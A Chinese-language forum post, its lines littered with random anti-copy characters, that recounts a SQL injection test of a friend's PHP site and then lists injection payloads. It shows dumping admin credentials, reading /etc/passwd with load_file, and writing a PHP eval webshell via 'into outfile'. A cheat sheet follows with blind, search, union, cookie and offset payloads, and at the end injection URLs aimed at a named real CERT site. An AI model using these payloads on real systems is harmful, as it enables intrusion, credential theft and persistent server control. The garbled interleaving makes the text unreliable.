我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
. g5 M8 |. X7 Z) x/ ~9 \2 h让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
+ \2 i1 r$ `2 f% H: o8 Z0 S4 o我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
+ S, d# P2 M# ^8 i- q* _9 n如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)5 ?2 ?* q7 R0 W' c* r/ K6 K
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)$ V8 o* o$ D0 m2 g* p2 F
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
, F y/ z2 ]1 w2 D% e7 fWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in! u, S& r' S7 o7 }
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入5 v% U+ a- U0 l% ^1 ^
! L, v# L/ z# p
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
- V3 Q& n7 o3 Q! Q! s0 G6 {3 s8 T3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
/ i- r9 b, e; F9 i; l4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
. M" }6 c& J( Y5 E5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。0 l+ t! t, a2 n* o
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
% a: O Z! _5 K3 A3 W v: J2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
- I6 B9 ~% ?9 c/ [我就用的是第二个思路,
- R" Z5 W' d8 @. c4 @/ a提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
# o$ c \% `7 E G- I6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,6 P3 d( r7 E$ Y/ f% B# J2 v
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
! Q1 L+ c0 Q# }2 I& d. x; m注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。- ^. T: b& W- H$ d. N
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
9 F2 f9 q4 v' F0 z是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....5 d' h t/ g* H7 m7 v( j( Q8 H
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
2 X4 k/ m, ?2 P7 |& d/ L! K6 R然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
8 ?! \7 `. m) L" `/ d( j调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......" l: G4 G0 W+ ~
下面是一些很普遍注入方式资料:
4 I: W! y8 L1 j, V& g3 z, s$ n. r注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
* \& _* X8 I* y2 r2 W! x+ Y9 V拆半法5 T' w! b+ c8 U$ q6 ^2 z( O/ S- v; k
######################################7 f1 z, v9 N0 q; V! Z6 e+ F2 J
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。* u4 l5 ]$ Y- T+ w3 k1 y
and exists (select * from admin)
7 c0 T" C2 T) q. Dand exists(select id from admin)
7 x$ M& M, p1 Q1 |9 band exists(select id from admin where id=1)
7 S6 r8 B! \7 M& ? Tand exists(select id from admin where id>1) 3 X. q& L6 p" M8 H3 l- O0 {; J0 Z
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 $ s+ u; A8 C5 z% i
and exists (select username from admin)) J1 ?$ P( B, i; E# G
and exists (select password from admin)# l) i3 {2 S7 x: I
and exists (select id from admin where len(username)<10 and id=1)& e- E% C7 O1 N1 p5 t( h% i
and exists (select id from admin where len(username)>5 and id=1)
7 W% E3 ^5 p) W yand exists (select id from admin where len(username)=6 and id=1)
, k7 Y( m$ | b6 G q; _and exists (select id from admin where len(password)<10 and id=1)$ c! A# D, {; T
and exists (select id from admin where len(password)>5 and id=1)
% ? H' r4 T: e$ Uand exists (select id from admin where len(password)=7 and id=1)4 i. U/ ?( E: @! R1 |1 J8 G3 w
and (select top 1 asc(mid(username,1,1)) from admin)=97; @: Z- |2 p& x( q0 D8 c. {7 M
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
' q5 b1 s$ [/ l0 Z- p8 z猜第二位把username,1,1改成username,2,1就可以了。5 Z& H" N _/ Q4 {; I N' ^
猜密码把username改成password就OK了
% }: ~; y( T2 [! L0 ^##################################################7 E; \/ x$ n5 V( G/ {7 d2 w
搜索型注入$ v; i5 B- W8 B6 q5 A9 N
##################################
1 c, T6 o Z$ [7 x& K%' and 1=1 and '%'='2 }7 Y- u$ j: O. Y
%' and exists (select * from admin) and '%'='
3 }/ s( w* z% R" s9 O' _%' and exists(select id from admin where id=1) and '%'='6 K6 ?; U1 { Y0 k& i& y' r
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='9 Y u1 Z% q' m; h7 l* E9 c: b
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='- K$ r1 q$ I! _7 u0 c
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='7 c7 k9 `, b$ q9 [& `1 K
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
; d/ @, t, p: z" Y1 [' d对于MSSQL数据库,后面可以吧 and '%'='换成--
& d1 T, n& C+ `7 z5 V3 P# W5 n还有一点搜索型注入也可以使用union语句。* o0 K7 j1 U @( y# y
########################################################
/ S" O0 P* ~1 q+ U7 v! W0 L8 g* ?联合查询。9 N& o, V/ R8 k I! F7 Z: L. o
#####################################
2 B& o% ~( `9 A0 c! ]( l$ Y6 e8 ]order by 10: V6 O/ g6 a( t; h3 `
and 1=2 union select 1,2,3,4,5,6,7,8,9,10$ B' }; o% }7 @- d( U
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin1 ]6 f! ^7 q, l4 G
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
% U2 J3 q) Q, v t$ a" Q很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)" y: [8 C x' ?0 v- z9 d
#################################### r H6 E' W( s; Y% w! @! Y
cookie注入* b' V$ A8 A# i2 A" Q$ l6 B" C7 N
###############################% k# j9 K" r! C6 `
http://www.******.com/shownews.asp?id=127
9 n( C' Y$ A; H; uhttp://www.******.com/shownews.asp
/ f( ?' F7 A( M* Qalert(="id="+escape("127"));
# h( } u( U5 I8 d9 F& k. V! Jalert(="id="+escape("127 and 1=1"));
$ r# q( [3 a0 calert(="id="+escape("127 order by 10"));
* Y6 `9 e8 a( G ?8 K. L! walert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
# h t& v7 G( E# D9 lalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
( s" m# c. @5 p/ x# `% b+ k7 B这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。# O; o; {% {5 c
###################################
& j3 X3 ^3 l! Y' c# i/ P+ i偏移注入
+ e/ P4 a, B$ E###########################################################- m, ^# j) _1 ~0 n5 `4 L
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
) r& G' e& k) d3 {$ o( G" _* Y; |union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
% z% ~6 ~' ^1 S' T, i' I6 \9 Yunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
/ Z! s7 n; }7 c9 h! wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
0 }3 C. Q4 L; Y0 R7 iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)5 j$ S6 ~! o# x* V
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
* e* _" s6 q6 tunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on8 K2 Y+ |) B5 r8 g6 }4 V" {! [
a.id=d.id); i7 o0 b# U. B0 E, p
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
/ H1 M! G5 A. ^: i1 qand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
: M, w/ i! h. e$ `$ `. q
# y4 c: z" D& M2 B% S/ S============================================================================================================; T3 B. M6 F% r% u- F% P7 G, s
1.判断版本; w3 Y3 P1 l( M1 D8 {0 w x* h
and ord(mid(version(),1,1))>51( C, t) W: y0 {8 N. {
返回正常,说明大于4.0版本,支持ounion查询
3 g; d2 B2 @# t/ u: s* N% v% b4 t u2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解) d P) B$ L0 s
and 2=4 union select 1,2,3,4,5,6,7,8,9--% m; [7 }' c/ X# C8 }
3.查看数据库版本及当前用户,
+ A$ ` q0 T6 F9 v1 Zand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
2 s0 r L$ C3 `7 b4 U1 T数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
* F0 l c, }, E9 }+ t7 Z" {6 r4.判断有没有写权限+ e* m3 P- c$ Z5 g# _1 B
and (select count(*) from MySQL.user)>0--
9 _) f$ k- B! O, M, A4 g: Z1 Q5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1# r4 I7 Y. c2 K) W9 {) }9 S/ B
用不了这个命令,就学习土耳其黑客手法,如下8 q, D* q; R$ V( G( ^: W
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
7 _ A0 {% a) C, E6.爆表,爆库" n( d* |3 c. w( C6 {1 L( q& G
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
6 j3 f6 z L% |: M5 _. s7.爆列名,爆表
( D* {7 C/ ~/ x* ?( m/ sand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--& m+ i2 s4 L. @1 Q
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
0 a& N3 t4 A- k$ A( k. Dand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--4 t$ E2 O! B- v) v. @& [' H2 j
9.爆字段内容
1 S i4 ~1 V7 ~* r. sand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--9 V+ k* V, G: |# z8 b
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |